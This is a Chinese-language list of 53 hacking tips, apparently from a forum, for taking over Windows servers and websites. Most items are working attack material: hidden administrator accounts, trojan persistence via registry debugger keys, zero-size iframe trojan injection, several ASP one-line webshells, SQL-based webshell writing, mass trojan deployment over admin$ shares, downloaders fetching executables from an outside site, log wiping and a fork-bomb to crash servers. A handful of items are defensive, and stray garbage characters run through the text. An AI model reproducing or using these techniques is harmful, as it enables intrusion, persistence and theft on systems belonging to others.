Xp系统修改权限防止病毒或木马等破坏系统,cmd下," d" N% h4 c0 q A7 S8 k
cacls C:\windows\system32 /G hqw20:R/ }' }) F* g: v3 k& ] j
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入
' L, c2 _6 @1 r) ]+ i. Q5 x恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
7 Z* g! f9 I8 f" C6 {
* d3 C/ U$ [$ p! I0 M2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。
, X" z! K; o3 O; t% C8 _+ D7 b3 V9 |# s; A( o
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。
" z- _0 B" \+ H% F
) [ @) M- }3 t- `) ]4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号6 {$ _# _9 y3 ^" {& P
8 T1 p! Z( s! W5、利用INF文件来修改注册表( o" n: w% V3 S
[Version]
: @. s& e) b% x7 X. N1 Y6 G kSignature="$CHICAGO$"7 i7 Q0 }6 c5 j, p7 d) l
[Defaultinstall]
+ {" C7 {* l' g1 ]$ @addREG=Ating L4 y! s+ @( C! D$ j
[Ating]
6 w# Q: M3 g* k' ZHKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"9 N' a9 D6 Y! T M% j' W
以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:
7 b8 C" _$ |3 W: }# x. M0 Yrundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径 u9 I6 r# s! i& ~# r. e5 r+ Q
其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU
/ {, n' j( x* T3 W1 S9 g7 KHKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU
% l, Q! U: a1 Q- LHKEY_CURRENT_CONFIG 简写为 HKCC; o; h4 z7 R; v. `; n+ N3 a/ A
0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值
, t: u* x8 m# \ t# E' E; _"1"这里代表是写入或删除注册表键值中的具体数据3 B: I- A6 p; N# r: H
( L) r' p5 t& s! ? D$ h6 A* z
6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,. g S) b0 t# ^# m n0 {
多了一步就是在防火墙里添加个端口,然后导出其键值
* z, c: {; y1 H7 |5 F/ _& Z. Z[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
+ L1 U; u" j% ~7 g! P% H& N, d. n0 g. O( B9 `4 E3 C9 k8 p: g
7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽
9 F' g& F6 ]$ M! ^1 R, k在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。
. L t# \/ }' z- C5 L/ f+ N+ N9 k* Q2 `" [) u
8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。" e# d2 C4 E) i7 |
. l4 D4 S5 g5 c5 D9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,1 u# k4 A) g7 o0 P
可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。
3 \- Y. B5 J! d- G% ^) C
n. d5 q: r' \0 @- ? K0 e6 w10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”) ]2 X+ k/ q0 k& f0 `
. Y. E: G9 \+ ]! Q0 o0 C& L
11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
, R. A: Q; F6 u/ l/ R$ p, O用法:xsniff –pass –hide –log pass.txt
- ~& s, ^0 R) D5 l8 p
E7 k) F7 f: F7 r- t0 X4 Q2 l0 u12、google搜索的艺术# w8 B0 f6 b7 |$ T) ]
搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”& r y/ f- }4 v" Q( V3 z$ [
或“字符串的语法错误”可以找到很多sql注入漏洞。3 Q1 m7 U# i0 e9 } Y
. K4 G/ V$ v2 Q/ k* T
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。
) ~5 T/ }+ S# ~2 j, ^+ b4 R
$ x( D( i5 y" `0 V( W2 L4 b14、cmd中输入 nc –vv –l –p 1987
# c$ E8 Z; V9 n" f& t做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃1 ]7 }3 T) d) ~' [/ H( V9 N: y2 J8 y
$ |- \: J( E4 }8 H( L15、制作T++木马,先写个ating.hta文件,内容为
/ T, O, \6 a- O* ^/ a g" E<script language="VBScript">
) F- J c3 t1 {& f, bset wshshell=createobject ("wscript.shell" )
& X5 g' W+ q2 }a=wshshell.run("你马的名称",1)2 d v8 H6 J5 V% P9 X! o
window.close8 _0 y/ N" Z; G/ p
</script>3 ]& U! p0 E9 t0 q# F }
再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。" d. ?& \$ @! K7 l" E( G' G
6 {& y8 G6 R- I& g1 R S
16、搜索栏里输入9 A0 F8 z8 Y& a7 C- \( p8 U
关键字%'and 1=1 and '%'='% F$ s$ j( f2 P" a& V
关键字%'and 1=2 and '%'='
! Z! _2 d. v5 `; U A( x比较不同处 可以作为注入的特征字符- `. L& r4 z7 w
" u9 e* s, l& f! \+ A/ H17、挂马代码<html>
r; G0 T5 C9 }" l2 w: m<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>
( l- U/ [$ F, E</html>
[+ e# i, _: G/ [9 M8 C5 |
0 {9 m6 M9 X9 H4 y18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,5 B3 m+ \' o/ r8 p P& m
net localgroup administrators还是可以看出Guest是管理员来。- S1 \5 p" m* Q, O( T2 }9 E5 w
! b7 E5 h6 `- Z- h; M) d) W) j2 }19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等5 |- G. [; d6 R$ M3 e% o/ e, b
用法: 安装: instsrv.exe 服务名称 路径
" p% E# r3 q5 _% n* G- V: q" `卸载: instsrv.exe 服务名称 REMOVE/ Y( t+ N0 F$ u' E, F1 R2 N
6 {6 j. h/ X" Z
4 j0 `% ]3 ?( b% w21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉
1 ^: k8 i4 |6 Q4 h) @7 M9 e不能注入时要第一时间想到%5c暴库。
! h: N% m* N1 ^/ C
" p+ t K5 K- Q: b- E! p5 u22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~
8 h& |1 N1 `" i& n. E# G1 A a% I9 z9 c
23、缺少xp_cmdshell时
$ O8 d5 C3 p: b) J! N0 I尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
0 V G0 G& @* a0 S0 Z假如恢复不成功,可以尝试直接加用户(针对开3389的)
) d* P+ @3 H, `8 @$ T" zdeclare @o int8 \! l* [5 k" l* t2 b- O
exec sp_oacreate 'wscript.shell',@o out4 s/ B; e9 z: p7 z( Z5 u+ X
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员1 P: n/ f) j, i+ f& w
5 X+ M+ R1 q1 {# \2 N* o0 O
24.批量种植木马.bat
5 [# Y: D. w! j+ Afor /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中4 Y% j# y) X& n6 O
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间
, ?- _* U2 t) I扫描地址.txt里每个主机名一行 用\\开头
1 N6 J1 v, a2 O4 j4 {: u6 _7 w6 E
7 [ D) c7 P+ r25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。
6 g, F% } o$ f4 }3 g+ @. ^2 m# o: _ C2 I/ T! Y6 N
26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.: @2 K/ E( O' C: }
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.' j; N- o' i4 s4 P* ?
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马0 L& r1 l+ M. _
# F5 n+ u4 b! i, E# G" H3 P6 w
27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP
5 t; p* n! i; s: M$ L9 B然后用#clear logg和#clear line vty *删除日志4 ` E* L7 C4 ]+ @ b2 j5 x' z
2 l$ f. D) X* f: b
28、电脑坏了省去重新安装系统的方法6 N/ k9 W3 u- k$ ^ @
纯dos下执行,
4 }9 X0 v W; H- D; q! oxp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
# v% K& {8 l3 l2 ^2 D: F& X2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config: H. g, B. @1 r* c) x
7 o x" D- k4 N29、解决TCP/IP筛选 在注册表里有三处,分别是:
2 z/ j3 X& T" b6 R( pHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip8 G6 w! W8 G% d# N
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip$ z' G- M3 \. ]3 r; m
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip u1 Y7 {' y- V5 ~1 }4 x' }
分别用
7 [3 z' s7 ]0 A, L$ `4 hregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip5 T- `$ D& |; o6 i
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
3 E- H$ O2 n. t& Rregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip, m0 s$ p, W1 r
命令来导出注册表项
3 ~ S" p% o5 [然后把三个文件里的EnableSecurityFilters"=dword:00000001,: s \4 ^/ x# e8 L9 C% ~; W
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用' b$ y5 f/ l4 H0 m4 w+ G; L
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。% Q Y! L9 n$ O4 @
9 e- L) N7 s0 h5 T30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U
3 L! u8 ~' G0 w& ^+ jSER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3
0 j! S$ X5 `& \0 J6 Q! d& S8 S5 @" x/ g. Z
31、全手工打造开3389工具8 k( j/ i5 h9 p; A/ w6 ~: a2 ^! | K3 F
打开记事本,编辑内容如下:
8 O0 ?; l9 i/ y6 becho [Components] > c:\sql
! ~4 {& A; n$ P) ?$ L! aecho TSEnable = on >> c:\sql% p5 I7 [/ N& J, \* ~) f4 D" u
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
: v$ c7 S! y P. H5 L编辑好后存为BAT文件,上传至肉鸡,执行
# q7 q& H V# c# k7 H( Y9 y* }* s! s' P- Y4 c( X
32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马
( J# x5 F) y+ l4 P. ]: Y5 x( Y/ v4 N8 d0 o* A
33、让服务器重启
0 Q3 [/ H; u7 T% V, e0 y写个bat死循环:; T. K' \" O/ m
@echo off" m+ T' I; D( u: { U1 a9 i$ i( {
:loop14 Y$ M, B) o/ d0 I; ]/ o7 ~
cls/ p/ K% P0 \+ Q9 u: p% t* u2 h
start cmd.exe* | _. [! e3 j$ D/ W3 r5 {
goto loop1
$ L; y+ b1 q& F: \+ [! o7 |保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启
5 A5 P) z9 T6 y4 h6 w* p/ K: y, p; K+ b D; w2 n0 m. |
34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,
7 K6 L+ ~, P: g/ C" r+ d@echo off, Z, Q. R7 F! T" C0 [% L& s
date /t >c:/3389.txt
# @% X! D' [6 o# J8 P- |time /t >>c:/3389.txt
8 X& [' s4 t9 t/ E3 dattrib +s +h c:/3389.bat
: L. Z2 ^/ ~, c& N, m Qattrib +s +h c:/3389.txt
2 s% z9 D% |4 ^7 bnetstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt, A& ~ n+ q) c7 W1 W
并保存为3389.bat5 a7 u$ h, H2 ?! d1 h' h3 I
打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号
5 k0 Y; r' O7 {2 T1 f5 \( J: `! q! b! {" {+ W& n
35、有时候提不了权限的话,试试这个命令,在命令行里输入:
; j$ s; v! Q* e& t3 hstart http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)
) ^8 \4 v6 j0 w" o) h输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。& N7 Q# i5 d8 j& ?3 f2 U' I
. K$ m+ P! {. i+ n/ z+ t( n% }& B
36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件' O1 |& r9 F! t/ P$ S0 v! \
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址
0 u; N8 M" C! E" Becho 你的FTP账号 >>c:\1.bat //输入账号
' ~1 q/ F: F% _. u" Mecho 你的FTP密码 >>c:\1.bat //输入密码
( t: K5 o% C) U( Wecho bin >>c:\1.bat //登入
( S0 F% G2 k U( Necho get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么; q0 c- `, d: O* m. R
echo bye >>c:\1.bat //退出4 \3 X8 `4 V" L& i
然后执行ftp -s:c:\1.bat即可: {: ~& A4 e7 P" [* g2 B
+ h8 i2 f) F: X1 H; L' w. h( y
37、修改注册表开3389两法
6 o/ N5 ^- l( L5 L(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表
; |, s0 {) ? @/ ]: S$ Wecho Windows Registry Editor Version 5.00 >>3389.reg w I/ F( o9 l
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg( ^# m/ p4 h) @
echo "Enabled"="0" >>3389.reg7 K* R# h' a8 b* v8 A9 F0 N
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows1 p) l6 W, `9 V7 D3 a
NT\CurrentVersion\Winlogon] >>3389.reg( Q% S& Y* ~4 g M% ]
echo "ShutdownWithoutLogon"="0" >>3389.reg
2 G2 e2 b1 A" x* }0 r8 Q; W" kecho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
D+ x! L7 _: o$ Q% X>>3389.reg( q; k3 w) Z/ C* K/ ~
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
+ _) v- j- K# h8 G, R# @; N! ^echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]. n. u& [ C' H# N
>>3389.reg
1 s0 W9 F# m5 ~. W: p" c7 ?echo "TSEnabled"=dword:00000001 >>3389.reg
`/ ?# h. u Techo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg) e9 W' w; i. ?- k: @
echo "Start"=dword:00000002 >>3389.reg/ Z0 p! Y1 h6 W" r7 d) Q% g/ V4 G
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
8 B1 I! ^- `- W+ {+ | [>>3389.reg0 c) Z) `# Q. R$ t) [& w! A& g
echo "Start"=dword:00000002 >>3389.reg
0 n ^. [. D' h$ B- e4 P! V1 hecho [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg* T8 T: G7 C4 l6 J1 t+ L
echo "Hotkey"="1" >>3389.reg3 I5 J m2 u* ^, x# ^& Y
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
. X& j- F2 }- U. u3 m. G/ F2 pServer\Wds\rdpwd\Tds\tcp] >>3389.reg
: w8 b/ S7 K' |' h$ D( Secho "PortNumber"=dword:00000D3D >>3389.reg
3 U& {& n& a, m) } Vecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
# D @ C* X* [& O T. lServer\WinStations\RDP-Tcp] >>3389.reg- }% M0 T) }) A0 x0 N
echo "PortNumber"=dword:00000D3D >>3389.reg$ |3 R) C) D) p% C$ j l3 V8 _9 S
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。5 ^- L9 O7 N1 d* |' F
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)' J9 {/ c6 v8 Z7 r# ], P9 k
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效
# a- l% v9 f5 g" d1 U" \! R1 P6 O(2)winxp和win2003终端开启. n' m0 t6 k8 h
用以下ECHO代码写一个REG文件:( l$ @, g8 Q' y8 c5 c
echo Windows Registry Editor Version 5.00>>3389.reg
: b& y: J+ q' @6 V6 Eecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal* ^5 Y2 P) J, K, E* W
Server]>>3389.reg' c7 U9 E9 t! v. F4 F& Z
echo "fDenyTSConnections"=dword:00000000>>3389.reg- R3 K3 [& N: h1 U
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal& q* C; I/ p" k! x) y; t, E! ^! Y
Server\Wds\rdpwd\Tds\tcp]>>3389.reg* t* v9 o9 }8 T2 e
echo "PortNumber"=dword:00000d3d>>3389.reg
2 o4 ^5 {% Z+ X- u( eecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal: m0 z4 u a# ?3 g) L' ]
Server\WinStations\RDP-Tcp]>>3389.reg- J3 a0 H4 L) K3 K% A- S/ _
echo "PortNumber"=dword:00000d3d>>3389.reg5 q5 p6 V5 H4 e) y6 s7 M1 C: l& s
然后regedit /s 3389.reg del 3389.reg
+ }9 c# y4 k+ {1 c2 m' d- j( NXP下不论开终端还是改终端端口都不需重启
7 j) y+ { r. P: |
. P, N) W9 v0 J" v: v38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃7 d* Q) O8 W% A1 r, W
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'
# V0 r1 @$ |; u4 b3 k# T) N( i' F* }5 l0 n9 H/ u: o9 U" H- M, \
39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!
, ^. w) l% a/ e ?(1)数据库文件名应复杂并要有特殊字符( {( K2 q3 t" s7 ~% N
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源
0 M1 n* U0 l( _2 p将conn.asp文档中的
: h, I& E7 N2 wDBPath = Server.MapPath("数据库.mdb")
. E0 [0 W: @# ~0 F! P) yconn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath7 ^0 H6 K* B3 G, f: o
8 ?" c' N& p$ Y* {3 T/ F修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置8 A( {) }* `4 {5 I* m% S
(3)不放在WEB目录里$ y/ J; K/ F9 s; U# h+ g
- s& M: F8 ?7 H40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉 R. A/ O% B8 v7 }
可以写两个bat文件
0 ~6 w2 @ J1 y8 \$ B6 }! x@echo off
8 L Q1 |) i0 {# `( y% h' G% u8 i@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe
* Y0 x# V5 T' v( P2 G@del c:\winnt\system32\query.exe
& o& \) a: O a+ Y; [9 s) L4 K@del %SYSTEMROOT%\system32\dllcache\query.exe! ?' r! A1 T/ q9 y
@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的
, b5 p5 X! A1 o! D, v% p) w( Q& m* U8 H
@echo off
+ z1 C$ Z: U8 w+ r3 |) \( F( Z@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
. N' E2 r7 A4 j+ b$ J6 Z. i/ L@del c:\winnt\system32\tsadmin.exe5 }: R6 A- W8 N# E
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex) ^2 z, T# Y5 e4 t$ d: k. U
8 b1 R3 T* m! g/ Z
41、映射对方盘符
) a; |3 Z6 U! p, Gtelnet到他的机器上,1 I/ b* a2 r! d8 d( R2 s0 d
net share 查看有没有默认共享 如果没有,那么就接着运行 F+ @* Q* ]4 e' t' x$ @) E, r
net share c$=c:2 y7 l! e/ `, J3 q9 P" ]- n
net share现在有c$. M. Q: u3 q. W
在自己的机器上运行
! o% m! k5 f C+ ~* ?2 onet use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K P# K% o5 C2 x/ u4 e ?# m3 T
& a$ u* s! g: q
42、一些很有用的老知识
9 Z8 o$ J* N. o. I/ T2 W, btype c:\boot.ini ( 查看系统版本 )0 J7 M/ Q# P/ @6 Z# P6 K
net start (查看已经启动的服务)
" p+ l: O0 {. w+ O9 oquery user ( 查看当前终端连接 )
" @; j' }( f: M9 ~& S% r& Enet user ( 查看当前用户 )
h, Z3 p9 [8 r Mnet user 用户 密码/add ( 建立账号 )
+ R- b7 y" a! p7 D$ G% q. @net localgroup administrators 用户 /add (提升某用户为管理员)
, o2 c& x; x0 Y( m/ Q; Y! `ipconfig -all ( 查看IP什么的 )
4 |( w% U( b' x: g7 {1 w- Jnetstat -an ( 查看当前网络状态 )" i( u1 ] F' `- c' m) T
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
$ e7 P3 G+ y& ^* M克隆时Administrator对应1F4
% V! w& P' s9 t! a" |guest对应1F5
; r" t! c7 ~/ etsinternetuser对应3E8
8 p& I, w) _3 u6 ?3 \* j5 g. w3 p% {/ c2 E1 j9 m! ~/ j: f3 }
43、如果对方没开3389,但是装了Remote Administrator Service6 H9 E* z; P- _- x
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接- n) [0 v2 V& s% Z8 m
解释:用serv-u漏洞导入自己配制好的radmin的注册表信息) D( b) `2 Q: u* v# d
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
, ~* |& ^1 m: {7 q% q8 j, i6 B; _- X" P# F9 o
44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)9 i. d2 t6 ?4 d1 O
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)% }4 R5 }* [4 E: Z0 ^9 p+ g" d% Q2 G
+ i4 q/ m1 L2 x* }1 t8 f2 {) @. L1 q& }
45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)% D% ?& _0 a$ X" W5 S
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open7 Q% u' l& c# F, l4 V3 ~( v: b
^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =
. ^7 }7 J$ Q7 {( a% h; ]CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =1 B2 T s8 K5 o6 z
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs
0 k X: v ]4 o) g(这是完整的一句话,其中没有换行符)
" C0 M* ?% v; e$ o2 b然后下载:
6 b* c8 j2 D: D1 h$ L9 I$ qcscript down.vbs http://www.hack520.org/hack.exe hack.exe4 \! }7 i3 g5 D) H5 J
) C5 w* H2 Y6 x0 u& @- Q
46、一句话木马成功依赖于两个条件:
. \, U0 B' F# k7 @ u) R8 @- x1、服务端没有禁止adodb.Stream或FSO组件& ?" R; k/ i8 B o
2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。1 T) t3 K. M- E+ {
6 W( a# ^- y( \5 U/ m
47、利用DB_OWNER权限进行手工备份一句话木马的代码:7 ?$ q5 S3 B \& T' E' d
;alter database utsz set RECOVERY FULL--) Q9 @: C6 E6 ^' ]4 ^& T7 y
;create table cmd (a image)--7 N! w5 @$ b* Q" y
;backup log utsz to disk = 'D:\cmd' with init--
$ Z9 r% F5 l$ y: ]9 {;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--6 r8 C3 u) T) s; t: g$ m" v' }
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--
: Q$ q* C5 i. K注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。
1 y3 h, j+ w3 L" q8 \
6 [' P. v4 a, j {1 Q# J48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:
0 |2 h, T4 [- L9 s0 W9 W
1 K0 R) x5 ^0 ?) C* d O用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
4 P1 W) _0 g5 ^4 C8 P- F所有会话用 'all'。8 @. c l+ t6 N0 l& {7 w" D
-s sessionid 列出会话的信息。/ o/ \1 n. g# V
-k sessionid 终止会话。8 D( }$ e: H' I! S M& d4 w
-m sessionid 发送消息到会话。7 N A5 a. r, G/ ^. Y1 {$ j
5 m/ D% j0 g, ?8 W% K
config 配置 telnet 服务器参数。
: u9 x( G; e& o* C" x% S* B7 v& a9 v7 `% W- u# C8 M
common_options 为:
$ m i6 F; J) @# Q y-u user 指定要使用其凭据的用户; S* G# n+ P& M- [/ X! ]
-p password 用户密码3 w# a( v7 T& d7 n
7 r, L3 a8 h) W
config_options 为:, U0 b, H/ n! D4 z/ q y
dom = domain 设定用户的默认域: y; G. _: l' X5 ?: U
ctrlakeymap = yes|no 设定 ALT 键的映射
+ L. ^# w+ t$ P, Ctimeout = hh:mm:ss 设定空闲会话超时值
; V( N2 A d9 M) X' Htimeoutactive = yes|no 启用空闲会话。
2 Y) Y1 c; J9 p6 r! X8 l o1 \maxfail = attempts 设定断开前失败的登录企图数。
. c' X4 x3 n: d9 k3 [maxconn = connections 设定最大连接数。5 _! [' k5 c6 {9 ?
port = number 设定 telnet 端口。
% v* Q# }+ y* v$ F) W7 G8 `$ ~sec = [+/-]NTLM [+/-]passwd
+ X9 m: H9 N" U设定身份验证机构
2 J9 N5 l; c, L) h$ J1 r5 Yfname = file 指定审计文件名。! m0 F; W1 }: x
fsize = size 指定审计文件的最大尺寸(MB)。
+ Z, e* R, ^! I: s+ m# ^! y. imode = console|stream 指定操作模式。3 j7 u7 ]3 ^5 u3 Z- q0 b3 E [
auditlocation = eventlog|file|both+ a; d# x9 s' w$ L) S
指定记录地点
5 `. O0 Y( C; [. N( [audit = [+/-]user [+/-]fail [+/-]admin
o. k( |2 f1 V X! h; z
7 r% a+ r9 B) E8 ?1 L49、例如:在IE上访问:
6 f# \* k% Q; F# iwww.hack520.org/hack.txt就会跳转到http://www.hack520.org/
) P/ Y/ w7 F4 p( @2 r! x" U! ihack.txt里面的代码是:* O! |; b8 o0 Z1 |+ q
<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
, G7 p5 \' b5 f# a2 S9 U6 D. s把这个hack.txt发到你空间就可以了!
* Y) E& I* [: k7 X+ s" M这个可以利用来做网马哦!
7 n6 W4 N/ x4 b' n$ {# Y" t3 p
. J7 W, m# w, ~7 j( s50、autorun的病毒可以通过手动限制! t* w2 _7 S4 u
1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!
3 L' t9 u- g3 _" v2,打开盘符用右键打开!切忌双击盘符~6 O. ?8 {3 K. f7 o, b
3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
$ T7 K' _8 v; _: y7 t+ U3 B/ a% L% l6 G! {7 }" m. J* Z' V
51、log备份时的一句话木马:& m* o/ t4 Q* v
a).<%%25Execute(request("go"))%%25>
) X' s. H; U/ W2 Eb).<%Execute(request("go"))%>7 b. O2 v. g _
c).%><%execute request("go")%><%
0 n/ t2 p% F6 N& k7 e% Ad).<script language=VBScript runat=server>execute request("sb")</Script>
3 t* G5 Z: q# c! Q) me).<%25Execute(request("l"))%25>, E# F2 f' A3 {8 C- k9 D5 q* D
f).<%if request("cmd")<>"" then execute request("pass")%>
4 S% H% A, o0 O z8 i3 q2 J G& U. b! K5 }
52、at "12:17" /interactive cmd- k/ b% w" v3 p0 {, [
执行后可以用AT命令查看新加的任务
0 G+ L* r+ t2 N0 q" I) [1 Q用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。2 `* C$ r) m4 K n3 W
" i5 R& j2 N3 k: I/ ]6 a53、隐藏ASP后门的两种方法
